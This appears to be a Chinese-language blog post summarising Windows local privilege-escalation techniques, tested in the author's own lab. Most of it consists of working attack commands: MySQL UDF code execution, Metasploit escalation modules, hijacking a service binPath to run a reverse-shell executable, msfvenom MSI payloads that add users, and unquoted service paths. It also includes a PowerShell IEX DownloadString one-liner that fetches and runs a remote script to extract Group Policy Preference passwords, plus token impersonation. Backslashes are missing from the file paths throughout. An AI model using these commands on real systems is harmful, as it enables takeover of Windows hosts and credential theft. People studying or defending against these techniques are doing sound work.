windows 单机提权总结。
前言:我们本地已经打好了环境,并且我们对apache进行了降权。如下:
第三方服务提权
udf提权
条件:
(1)MySQL数据库没有开启安全模式。
(2)已知的数据库账号具有对MySQL数据库insert和delete的权限,最好是root最高权限。
(grant all PRIVILEGES on . to 'root'@'192.168.189.1' identified by '112358'; #这条命令就能让root用户指定ip连接)
(3)shell有写入到数据库安装目录的权限。
原理及步骤
注意:
当 MySQL< 5.1 版本时,将 .dll 文件导入到 c:windows 或者 c:windowssystem32 目录下。当 MySQL> 5.1 版本时,将 .dll 文件导入到 MySQL Server 5.xxlibplugin 目录下 (libplugin目录默认不存在,需自行创建)。
在下面这个sqlmap路径下存放着udf.dll(选择对应的位数):
....sqlmapdataudfmysqlwindows
为了避免被查杀。这里的dll是被加密过的,所以这里需要我们是用内置的python脚本进行解密。
然后上传至以下目录。
在mysql的shell中执行
执行:create function sys_eval returns string soname 'udf.dll';
而在执行 create function sys_eval returns string soname 'udf.dll'; 命令时出现 1126 - Can't open shared library 'udf.dll'的错误。其实不用管尝试执行系统的shell就好如下。
select * from mysql.func where name = 'sys_eval'; #查看创建的sys_eval函数
select sys_eval('whoami'); #使用系统命令
利用方式
现在很多的人已经将udf提权自动化了。这里我们演示一款古老的udf提权马。
先导出,在这里导出的路径一定要对。然后提交cmdshell
msf的利用
其实这里主要是利用公开的exp和提权漏洞去使用。
获取到的 meterpreter后使用以下命令
use post/multi/recon/local_exploit_suggester
set LHOST 192.168.1.107
set SESSION 1
exploit
然后出来的都是本地提权可以利用的exp
然后使用该命令,set session 4会生成新的高权限的会话。如下:
自动化提权:run exploit/windows/local/service_permissions
上传exe
这种内核利用的漏洞基本上都是上传ms_16_014exe,然后执行来着。我上传之后。。。如下:
失败了。
系统错误配置提权
错误权限配置
原理
错误权限配置简介:windows系统服务文件在操作系统启动时加载和运行,并在后台调用可执行文件。理论上,低权限用户是没有对高权限服务调用的可执行文件写权限,但是,如果因管理员错误的配置,导致一个低权限的用户对此类系统服务调用的可执行文件拥有写权限,那么低权限用户就可以将该文件替换成任意可执行文件,这样就可以劫持系统服务,获得该系统服务的权限,而windows服务是以system权限运行的,所以低权限用户就能获得系统权限。
系统服务权限配置错误利用有如下两种方式:服务未启动:攻击者可以使用任意服务替换原来的服务,然后重启服务 服务正在运行且无法被终止:这种情况符合绝大多数的漏洞利用场景,攻击者通常会利用dll劫持技术并尝试重启服务来提权(需要administrtor权限)
powerup.ps1利用
下载链接:
https://github.com/PowerShellMafia/PowerSploit/tree/master/Privesc
本地使用方法,可以bypass powershell的策略
powershell -exec bypass -Command "& {import-module .powerup.ps1; invoke-allchecks}"
0.查询可以修改的服务
accesschk.exe -uwcqv "user" *
这里如果我们使用的apache服务的话。
- 先停止服务
PS C:Windowssystem32> sc stop apache
- 将服务执行的exe文件修改为msf生成的exe,反弹shell。
PS C:Windowssystem32> sc config apache binPath= "C:phpstudy9999.exe"
- 将服务状态设置为自动启动。
PS C:Windowssystem32> sc config apache start=auto
- 启动服务:
PS C:Windowssystem32> sc start apache
可以看到反弹的shell
msf 利用方式
先获得一个meterpreter,具体的权限如下:
寻找服务自动化提权
use exploit/windows/local/service_permissions
回来就是system权限。
他将会使用两种方法来获得system权限,如果以管理员权限运行会尝试创建一个新的服务,如果当前权限不孕系创建服务,如果当前权限不允许服务会判断哪些服务的文件或者文件夹的权限有问题,并对其进行劫持。
AlwaysInstallElevated提权
原理
前提:
这里给是开启的
涉及到一下两个注册表路径:
HKEY_CURRENT_USERSOFTWAREPoliciesMicrosoftWindowsInstaller
HKEY_LOCAL_MACHINESOFTWAREPoliciesMicrosoftWindowsInstaller
如果存在漏洞则是下面的回显,不存在就是上面的回显。
利用方式
powerup的利用。
检查注册表的设置:powershell -exec bypass -Command "& {import-module .powerup.ps1; get-registryalwaysinstallelevated}"
生成新的账户:powershell -exec bypass -Command "& {import-module .powerup.ps1; write-useraddmsi}"
执行以上命令会自动生成一个msi的安装文件,然后我们执行下面的目录静默安装后会生成新的用户
msiexec /q /i useradd.msi
这个msi文件我们以可以通过msf生成
msfvenom -p windows/adduser USER=test000 PASSWORD=password123! -f msi -o cnm.msi
然后安装就会生成新的用户。
msiexec /quiet /qn /i cnm.msi
msf中还有对应的模块的
exploit/windows/local/always_install_elevated
可信任路径提权
原理
简介:如果一个服务的可执行文件的路径没有被双引号引起来且包含空格,那么这个服务就是有漏洞的。
原理:对于C:Program FilesSome FolderService.exe文件路径中的每一个空格,windows都会尝试寻找并执行名字与空格前的名字向匹配的程序。操作系统会对文件路径中空格的所有可能进行尝试,直到找到一个匹配的程序。以上面的例子为例,windows会依次尝试确定和执行下面的程序:
C:Program.exe
C:Program FilesSome.exe
C:Program FilesSome FolderService.exe
所以如果我们能够上传一个适当命名的恶意可执行程序在受影响的目录,比如这里我把木马名字改了Program.exe,放在c盘小,一旦此服务重启,因为优先级的缘故,服务会优先选择我们木马Program.exe,而不是C:Program FilesSome FolderService.exe,那么我们的恶意程序就会以system权限运行(大多数情况下)。
手动利用
wmic service get name,displayname,pathname,startmode |findstr /i "Auto" |findstr /i /v "C:Windows" |findstr /i /v """
查找错误配置的路径。
将msf的马放到对应的目录下重启获得shell
msf存在的模块
exploit/windows/local/trusted_service_path
组策略首选项提权(域内用户有效)
原理
win2008发布了GPP(Group Policy Preferences),其中GPP最有用的特性,是在某些场景存储和使用凭据,其中包括:映射驱动(Drives.xml)创建本地用户数据源(DataSources.xml)打印机配置(Printers.xml)创建/更新服务(Services.xml)计划任务(ScheduledTasks.xml)更改本地Administrator密码
为方便对所有机器进行操作,网络管理员会使用域策略进行统一的配置和管理,那么所有机器的本地管理员密码就是一样的,造成了即使不知道密码的情况下也能修改组策略首选项的密码,也可以通过脚本破解组策略首选项文件中密码的漏洞。
c2利用模块
Powershell获取
cpasswordGet-GPPPassword.ps1
PowerSploit 的 Get-GPPPassword模块 检索通过组策略首选项推送的帐户的明文密码和其他信息。powershell "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Get-GPPPassword.ps1');Get-GPPPassword"Import-Module .Get-GPPPassword.ps1;Get-GPPPasswordkali gpp-decrypt命令破解密码
Msf
run post/windows/gather/credentials/gpp
Empire
use module privesc/gpp
令牌窃取
原理
Windows7之后的操作系统提供了windows保险柜功能(Windows Vault),Window保险柜存储Windows可以自动登录用户的凭据,这意味着需要凭据才能访问资源(服务器或网站)的任何Windows应用程序都可以使用此凭据管理器和Windows Vault并使用提供的凭据代替用户一直输入用户名和密码。
除非应用程序与凭据管理器进行交互,否则我认为它们不可能对给定资源使用凭据。因此,如果您的应用程序要使用保管库,则应以某种方式与凭证管理器进行通信,并从默认存储保管库中请求该资源的凭证。
手工利用
查看本地凭据:cmdkey /list
以管理员权限启动某个exe:Runas /user:administrator /savecred "cnm.exe"
msf的利用
#msf 拿到一个会话use incognito
#进入incognito模块list_tokens -u
#列出令牌Delegation Token:也就是授权令牌,它支持交互式登录(例如可以通过远程桌面登录访问)
Impresonation Token:模拟令牌,它是非交互的会话。
这里窃取令牌,主要是窃取进程中的令牌
#使用令牌假冒用户impresonate_Token "令牌名"
其实如果目标管理员存在有限令牌,我们可以直接使用potato来进行提权。